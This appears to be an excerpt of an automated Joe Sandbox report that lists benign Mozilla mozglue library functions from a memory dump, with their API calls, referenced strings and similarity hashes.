Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction ID: 68bd373f28a8817a722e4300504dce52bd0854999d4ed2a5bf06be0fe8af245e
Opcode Fuzzy Hash: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction Fuzzy Hash: 92516CB1608B05DFC704DF65C484A9ABBB4FF89358F108A2EE95A97710DB30F985CB91

Function 6C975670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C975744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9757BC
GetTickCount64.KERNEL32 ref: 6C9758CB
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9758F3
__aulldiv.LIBCMT ref: 6C975945
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9DF638,?,?,?,?), ref: 6C9759E9

Strings

MOZ_APP_RESTART, xrefs: 6C9756CC

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction ID: bb7ff651eae94081bea50f32eb7a2595acfb432eff971e952c837c617aba6349
Opcode Fuzzy Hash: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction Fuzzy Hash: 39C17B31A0D7449BDB05CF28C44166AB7F1BFDA718F558A1DE8C4A7A60E730E885CB92

Function 6C99EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EC8C

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99ECA1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C99ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99ED19
CloseHandle.KERNEL32(?), ref: 6C99ED28
free.MOZGLUE(00000000), ref: 6C99ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C99EC94

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction ID: 70f63d3fafa89faf754d6faa4af9d2e5a158a95f6ecc2334fac8ed53db4be5fc
Opcode Fuzzy Hash: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction Fuzzy Hash: C121E575604904AFDB009F64DC09A9A3779FB5626DF288210FD18A7B41DB31E845CBF1

Function 6C998ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C95EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C99B392,?,?,00000001), ref: 6C9991F4

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Strings

timeline-ipc, xrefs: 6C999096
marker-table, xrefs: 6C99906C
timeline-memory, xrefs: 6C999088
stack-chart, xrefs: 6C9990B2
name, xrefs: 6C998F16
timeline-overview, xrefs: 6C99907A
marker-chart, xrefs: 6C99905E
data, xrefs: 6C9990E8
timeline-fileio, xrefs: 6C9990A4

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction ID: 618ba5d754fdee7efc7bfc10d229741b723f6b50baf2371298d3e58226ead686
Opcode Fuzzy Hash: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction Fuzzy Hash: 70B1D0B1B012099BDF04CF95C4917AEBBB9BF94318F254019D506ABF80D731EA55CBE2

Function 6C97C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C5A3
WideCharToMultiByte.KERNEL32 ref: 6C97C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C97C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C97CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C97CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97CAA5

Strings

(null), xrefs: 6C97C596
0, xrefs: 6C97D30A

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction ID: 1e302c6cb67bae7911c58ead7639e4d65c65649c2d40d78be8b09cfda47b0d90
Opcode Fuzzy Hash: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction Fuzzy Hash: FFA1AC3160A342DFDB20DF28C58475ABBF5AF89748F14892DE889D7741DB31E905CBA2

Function 6C97C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C97C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C97C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97C891

Strings

NAN, xrefs: 6C97C7AD
INF, xrefs: 6C97C794
inf, xrefs: 6C97C78F
nan, xrefs: 6C97C7A8

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction ID: 2f305e3f688d0ed2e8eb71c9c224969827342a6f33d9ce131dc7cd59fbb20936
Opcode Fuzzy Hash: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction Fuzzy Hash: 825181716097408BDB10DF6CC48129AFBF4BF9A304F008A2DE9D5A7651E770D985CB52

Function 6C954480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C994843,?), ref: 6C9545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C994843,?), ref: 6C95468A
free.MOZGLUE(?,?,?,?,?,?,6C994843,?), ref: 6C9546C9
free.MOZGLUE(?), ref: 6C9546EF
free.MOZGLUE(?), ref: 6C954712
free.MOZGLUE(?), ref: 6C954735
free.MOZGLUE(?), ref: 6C954758
free.MOZGLUE(?), ref: 6C95477B
free.MOZGLUE(?), ref: 6C95479E

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction ID: d983f65b9de8d24cbfc5b157c8a1ff2378b82593203f650b9622bf2c08de5b40
Opcode Fuzzy Hash: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction Fuzzy Hash: BFB1F171A011118FDB58CF3CC89076D76A6AF42328F980668E916DBBC6D730D8748F92

Function 6C9BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9BAC52
CreateFileMappingW.KERNEL32 ref: 6C9BAC7D
GetSystemInfo.KERNEL32 ref: 6C9BAC98
MapViewOfFile.KERNEL32 ref: 6C9BACB0
GetSystemInfo.KERNEL32 ref: 6C9BACCD
MapViewOfFile.KERNEL32 ref: 6C9BAD05
UnmapViewOfFile.KERNEL32 ref: 6C9BAD1C
CloseHandle.KERNEL32 ref: 6C9BAD28
UnmapViewOfFile.KERNEL32 ref: 6C9BAD37
CloseHandle.KERNEL32 ref: 6C9BAD43
CloseHandle.KERNEL32 ref: 6C9BAD67

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction ID: 9df12873fcc3f648080faf1df3ee66efcb02c3aae138d4fd81af54b2714c495e
Opcode Fuzzy Hash: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction Fuzzy Hash: 0F3180B19087059FDB00AF7CC64826EBBF0BF85305F114A2DE985A7211EF70A588CB92

Function 6C969620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction ID: 71d99af88873ccbb9ca1b5f81e71a8ad70b3f8e4eb83b59b7db1030189233b34
Opcode Fuzzy Hash: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction Fuzzy Hash: C741B5717046069BEF00CFA5D885AD6B7B4FB49B68F228529ED15A7B80D730F844CBA1

Function 6C951E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951EC1
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951EE1
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C951F38
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C951F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C951F83
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FC0
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951FE2
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C952019

Strings

MOZ_CRASH(), xrefs: 6C952000

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction ID: c0ba08201beb5524a2ff095b18dfa91ea132a3dff9d0115627b3d99dc1c6d19f
Opcode Fuzzy Hash: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction Fuzzy Hash: DA41F371B05B0A8BDB40DFB8C884B6A7BB5EB5A748F110129ED04A7740D771E854CBD5

Function 6C9A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C9A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A0041
GetCurrentThreadId.KERNEL32 ref: 6C9A0075
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9A0090
free.MOZGLUE(?), ref: 6C9A0104
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9A005B

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction ID: 9fc5920f83300a954fcd4109903853ec2444afa5f56ec9c2042d045a4a361f37
Opcode Fuzzy Hash: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction Fuzzy Hash: 5E41EFB1604A54DFCB10CF64C844A9ABBF0FF69318F14491EE94AA3B40DB31F955CBA2

Function 6C967E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C967EA7
malloc.MOZGLUE(00000001), ref: 6C967EB3

Part of subcall function 6C96CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C96CB49
Part of subcall function 6C96CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C96CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C967EC4
mozalloc_abort.MOZGLUE(?), ref: 6C967F19
malloc.MOZGLUE(?), ref: 6C967F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C967F4D

Strings

d, xrefs: 6C967F89

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction ID: f71660a51bfc7c33d6af84959794149133f3c219dc61652618b1c921e0ce54c1
Opcode Fuzzy Hash: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction Fuzzy Hash: 77310962E0468897EB009B29CC049FEB778EFA6208F155629ED4957752FB30E6C8C391

Function 6C963E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C963EEE
RtlFreeHeap.NTDLL ref: 6C963FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C964006
RtlFreeHeap.NTDLL ref: 6C9640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640C2
RtlFreeHeap.NTDLL ref: 6C964134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964157

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 674c412cf7787f45c8908d4493b16a1839ee3ed121a15ec08fd5a2d23c6253d4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: ECA193B1A00215CFEB40CF6AC880669BBF5FF58308F254159D909AFB82D771E956CFA1

Function 6C952030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C973F47,?,?,?,6C973F47,6C971A70,?), ref: 6C95207F
memset.VCRUNTIME140(?,000000E5,6C973F47,?,6C973F47,6C971A70,?), ref: 6C9520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C973F47,6C971A70,?), ref: 6C95211A
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C973F47,6C971A70,?), ref: 6C9521BA
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C9521E0
LeaveCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C952253, 6C952268
MOZ_CRASH(), xrefs: 6C95227D

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction ID: 828c2a068095a41296b05bd92f71a6f3781519bce968bec21777f9496497eda7
